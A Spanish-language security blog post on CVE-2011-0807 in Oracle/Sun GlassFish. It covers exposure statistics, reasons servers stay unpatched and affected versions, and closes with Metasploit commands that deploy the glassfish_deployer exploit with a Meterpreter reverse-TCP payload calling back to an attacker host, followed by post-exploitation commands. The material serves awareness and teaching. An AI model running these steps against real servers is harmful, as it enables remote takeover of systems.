Vulnerabilidades épicas: Sun/Oracle GlassFish Server Authenticated Code Execution

GlassFish

Es un servidor de aplicaciones para tecnología Java desarrollado por Sun Microsystems, compañía que posteriormente fue adquirida por Oracle Corporation.

GlassFish es gratuito, de código libre y se distribuye bajo un licenciamiento dual a través de la licencia CDDL y la GNU GPL. La versión comercial es denominada Oracle GlassFish Enterprise Server (antes Sun GlassFish Enterprise Server).

En la actualidad

Según estudios, Glassfish se encuentra entre los cinco primeros servidores de aplicación Java mas utilizados en el 2016, ocupando el puesto 4 con el 5.56% sobre los datos analizados.

Cuota de mercado de servidores de aplicaciones 2016 — Fuente: Plumbr

GlassFish Server Authenticated Code Execution

En Abril del 2011 se reporto la vulnerabilidad CVE-2011–0807 y aunque han transcurrido 5 años desde que salio esta vulnerabilidad en el servidor de aplicaciones GlassFish, aun sigue existiendo implementaciones con versiones vulnerables expuestas en Internet, sin contar las implementadas en redes internas.

Gráfico que muestra las implementaciones de GlassFish v2.1.1 expuestos en internet y Vulnerables en el mundo — Resultados obtenidos con Shodan — Busqueda: Sun GlassFish Enterprise Server v2.1.1

Muchas veces las causas de que aun siga existiendo esta versión de Glassfish vulnerable es debido a:

  • Los administradores no son alertados sobre las vulnerabilidades asociadas a dichas versiones.
  • La aplicación podría tener problemas con nuevas actualizaciones instaladas en el servidor de aplicaciones Glassfish.
  • Hacer un update puede implicar un esfuerzo muy grande para el negocio (Ventana de tiempo de mantenimiento, consultoría externa, indisponibilidad de servicio durante tiempo prolongado, etc).
  • Las actualizaciones automáticas de seguridad no están habilitadas.

Sin embargo pueden ser mucho mas las perdidas que llegase acarrear el compromiso total de un servidor de aplicaciones, que la inversión en mitigar el riesgo.

Resumen : Vulnerabilidad no especificada en Oracle Sun GlassFish Enterprise Server 2.1, 2.1.1, 3.0.1 y Sun Java System Application Server 9.1, permite a atacantes remotos afectar la confidencialidad, integridad y disponibilidad a través de vectores desconocidos relacionados con la Administración.

Impacto: Compromiso total de la Confidencialidad + Compromiso total de la integridad + Compromiso total de la disponibilidad.

Productos afectados:

Sun Java System Application Server 9.1
Oracle GlassFish Server 2.1
Oracle GlassFish Enterprise Server 2.1.1
Oracle GlassFish Server 3.0.1

Mas info: CVE-2011–0807

Explotación

Usar Metasploit

msf > use exploit/multi/http/glassfish_deployer
msf exploit(glassfish_deployer) > show options
msf exploit(glassfish_deployer) > set RHOST 192.168.178.48
msf exploit(glassfish_deployer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(glassfish_deployer) > set LHOST 192.168.178.21
msf exploit(glassfish_deployer) > exploit
sysinfo
getuid
ipconfig